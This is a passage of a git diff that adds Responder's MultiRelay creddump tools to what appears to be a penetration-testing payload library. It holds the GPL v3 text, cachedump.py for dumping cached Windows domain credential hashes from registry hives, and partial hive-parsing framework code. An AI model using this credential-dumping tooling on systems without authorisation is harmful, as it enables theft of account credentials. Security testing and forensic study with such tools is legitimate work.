self.fields["BinPathMaxCount"] = struct.pack(" + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/README b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/README new file mode 100644 index 0000000..e69de29 diff --git a/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/cachedump.py b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/cachedump.py new file mode 100644 index 0000000..591214a --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/cachedump.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python + +# This file is part of creddump. +# +# creddump is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# creddump is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with creddump. If not, see . + +""" +@author: Brendan Dolan-Gavitt +@license: GNU General Public License 2.0 or later +@contact: bdolangavitt@wesleyan.edu +""" + + +import sys +from framework.win32.domcachedump import dump_file_hashes + +if len(sys.argv) < 3: + print "usage: %s bootkey " % sys.argv[0] + sys.exit(1) + +dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2]) + diff --git a/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/framework/__init__.py b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/framework/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/framework/addrspace.py b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/framework/addrspace.py new file mode 100644 index 0000000..fad81a1 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/framework/addrspace.py @@ -0,0 +1,141 @@ +# Volatility +# Copyright (C) 2007 Volatile Systems +# +# Original Source: +# Copyright (C) 2004,2005,2006 4tphi Research +# Author: {npetroni,awalters}@4tphi.net (Nick Petroni and AAron Walters) +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or (at +# your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# + +""" +@author: AAron Walters +@license: GNU General Public License 2.0 or later +@contact: awalters@volatilesystems.com +@organization: Volatile Systems +""" + +""" Alias for all address spaces """ + +import os +import struct + +class FileAddressSpace: + def __init__(self, fname, mode='rb', fast=False): + self.fname = fname + self.name = fname + self.fhandle = open(fname, mode) + self.fsize = os.path.getsize(fname) + + if fast == True: + self.fast_fhandle = open(fname, mode) + + def fread(self,len): + return self.fast_fhandle.read(len) + + def read(self, addr, len): + self.fhandle.seek(addr) + return self.fhandle.read(len) + + def read_long(self, addr): + string = self.read(addr, 4) + (longval, ) = struct.unpack('L', string) + return longval + + def get_address_range(self): + return [0,self.fsize-1] + + def get_available_addresses(self): + return [self.get_address_range()] + + def is_valid_address(self, addr): + return addr < self.fsize - 1 + + def close(): + self.fhandle.close() + +# Code below written by Brendan Dolan-Gavitt + +BLOCK_SIZE = 0x1000 + +class HiveFileAddressSpace: + def __init__(self, fname): + self.fname = fname + self.base = FileAddressSpace(fname) + + def vtop(self, vaddr): + return vaddr + BLOCK_SIZE + 4 + + def read(self, vaddr, length, zero=False): + first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE + full_blocks = ((length + (vaddr % BLOCK_SIZE)) / BLOCK_SIZE) - 1 + left_over = (length + vaddr) % BLOCK_SIZE + + paddr = self.vtop(vaddr) + if paddr == None and zero: + if length < first_block: + return "\0" * length + else: + stuff_read = "\0" * first_block + elif paddr == None: + return None + else: + if length < first_block: + stuff_read = self.base.read(paddr, length) + if not stuff_read and zero: + return "\0" * length + else: + return stuff_read + + stuff_read = self.base.read(paddr, first_block) + if not stuff_read and zero: + stuff_read = "\0" * first_block + + new_vaddr = vaddr + first_block + for i in range(0,full_blocks): + paddr = self.vtop(new_vaddr) + if paddr == None and zero: + stuff_read = stuff_read + "\0" * BLOCK_SIZE + elif paddr == None: + return None + else: + new_stuff = self.base.read(paddr, BLOCK_SIZE) + if not new_stuff and zero: + new_stuff = "\0" * BLOCK_SIZE + elif not new_stuff: + return None + else: + stuff_read = stuff_read + new_stuff + new_vaddr = new_vaddr + BLOCK_SIZE + + if left_over > 0: + paddr = self.vtop(new_vaddr) + if paddr == None and zero: + stuff_read = stuff_read + "\0" * left_over + elif paddr == None: + return None + else: + stuff_read = stuff_read + self.base.read(paddr, left_over) + return stuff_read + + def read_long_phys(self, addr): + string = self.base.read(addr, 4) + (longval, ) = struct.unpack('L', string) + return longval + + def is_valid_address(self, vaddr): + paddr = self.vtop(vaddr) + if not paddr: return False + return self.base.is_valid_address(paddr) diff --git a/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/framework/newobj.py b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/framework/newobj.py new file mode 100644 index 0000000..51ae55f --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/framework/newobj.py @@ -0,0 +1,301 @@ +# This file is part of creddump. +# +# creddump is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# creddump is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with creddump. If not, see . + +""" +@author: Brendan Dolan-Gavitt +@license: GNU General Public License 2.0 or later +@contact: bdolangavitt@wesleyan.edu +""" + +from framework.object import * +from framework.types import regtypes as types +from operator import itemgetter +from struct import unpack + +def get_ptr_type(structure, member): + """Return the type a pointer points to. + + Arguments: + structure : the name of the structure from vtypes + member : a list of members + + Example: + get_ptr_type('_EPROCESS', ['ActiveProcessLinks', 'Flink']) => ['_LIST_ENTRY'] + """ + if len(member) > 1: + _, tp = get_obj_offset(types, [structure, member[0]]) + if tp == 'array': + return types[structure][1][member[0]][1][2][1] + else: + return get_ptr_type(tp, member[1:]) + else: + return types[structure][1][member[0]][1][1] + +class Obj(object): + """Base class for all objects. + + May return a subclass for certain data types to allow + for special handling. + """ + + def __new__(typ, name, address, space): + if name in globals(): + # This is a bit of "magic" + # Could be replaced with a dict mapping type names to types + return globals()[name](name,address,space) + elif name in builtin_types: + return Primitive(name, address, space) + else: + obj = object.__new__(typ) + return obj + + def __init__(self, name, address, space): + self.name = name + self.address = address + self.space = space + + # Subclasses can add fields to this list if they want them + # to show up in values() or members(), even if they do not + # appear in the vtype definition + self.extra_members = [] + + def __getattribute__(self, attr): + try: + return object.__getattribute__(self, attr) + except AttributeError: + pass + + if self.name in builtin_types: + raise AttributeError("Primitive types have no dynamic attributes") + + try: + off, tp = get_obj_offset(types, [self.name, attr]) + except: + raise AttributeError("'%s' has no attribute '%s'" % (self.name, attr)) + + if tp == 'array': + a_len = types[self.name][1][attr][1][1] + l = [] + for i in range(a_len): + a_off, a_tp = get_obj_offset(types, [self.name, attr, i]) + if a_tp == 'pointer': + ptp = get_ptr_type(self.name, [attr, i]) + l.append(Pointer(a_tp, self.address+a_off, self.space, ptp)) + else: + l.append(Obj(a_tp, self.address+a_off, self.space)) + return l + elif tp == 'pointer': + # Can't just return a Obj here, since pointers need to also + # know what type they point to. + ptp = get_ptr_type(self.name, [attr]) + return Pointer(tp, self.address+off, self.space, ptp) + else: + return Obj(tp, self.address+off, self.space) + + def __div__(self, other): + if isinstance(other,tuple) or isinstance(other,list): + return Pointer(other[0], self.address, self.space, other[1]) + elif isinstance(other,str): + return Obj(other, self.address, self.space) + else: + raise ValueError("Must provide a type name as string for casting") + + def members(self): + """Return a list of this object's members, sorted by offset.""" + + # Could also just return the list + membs = [ (k, v[0]) for k,v in types[self.name][1].items()] + membs.sort(key=itemgetter(1)) + return map(itemgetter(0),membs) + self.extra_members + + def values(self): + """Return a dictionary of this object's members and their values""" + + valdict = {} + for k in self.members(): + valdict[k] = getattr(self, k) + return valdict + + def bytes(self, length=-1): + """Get bytes starting at the address of this object. + + Arguments: + length : the number of bytes to read. Default: size of + this object. + """ + + if length == -1: + length = self.size() + return self.space.read(self.address, 